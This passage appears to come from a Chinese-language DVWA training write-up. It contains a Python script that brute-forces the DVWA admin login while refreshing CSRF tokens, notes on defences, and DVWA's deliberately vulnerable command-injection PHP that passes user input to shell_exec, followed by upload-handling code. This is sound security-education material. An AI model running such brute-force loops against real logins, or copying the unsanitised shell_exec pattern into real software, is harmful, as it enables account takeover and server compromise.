user_token=get_token(requrl,header) i=0 for line in open("字典位置"): requrl="http://---/DVWA-master/vulnerabilities/brute/?username=admin&password="+line.strip()+"&Login=Login&user_token="+user_token i=i+1 print (i , 'admin' ,line.strip(),end=" ") user_token=get_token(requrl,header) if(i==20): break
header建议用burpsuite抓包获取
结果:
可见password=password是response长度不同于其他。
Impossible–安全–防爆破
PDO操作数据库
限制登录错误次数,并上锁
拓展:设置黑名单(e.g. IP address, country, user-agent)
Command Injection
Low
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
<?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input $target = $_REQUEST[ 'ip' ]; // Determine OS and execute the ping command. if( stristr( php_uname( 's' ), 'Windows NT' ) ) { // Windows $cmd = shell_exec( 'ping ' . $target ); } else { // *nix $cmd = shell_exec( 'ping -c 4 ' . $target ); } // Feedback for the end user echo"<pre>{$cmd}</pre>"; } ?>
php_uname(mode) /*返回运行php服务器操作系统的相关参数 参数mode可取值: 1.”a” (此为默认,包含序列”s n r v m”里的所有模式) 2.”s”(返回操作系统名称) 3.”n”(返回主机名) 4.”r”(返回版本名称) 5.”v”(返回版本信息) 6.”m”(返回机器类型)*/
// Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD) if( $uploaded_type == 'image/jpeg' ) { $img = imagecreatefromjpeg( $uploaded_tmp ); imagejpeg( $img, $temp_file, 100); } else { $img = imagecreatefrompng( $uploaded_tmp ); imagepng( $img, $temp_file, 9); } imagedestroy( $img );
// Can we move the file to the web root from the temp folder? if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) { // Yes! echo"<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>"; } else { // No echo'<pre>Your image was not uploaded.</pre>'; }
// Delete any temp files if( file_exists( $temp_file ) ) unlink( $temp_file ); } else { // Invalid file echo'<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'; } }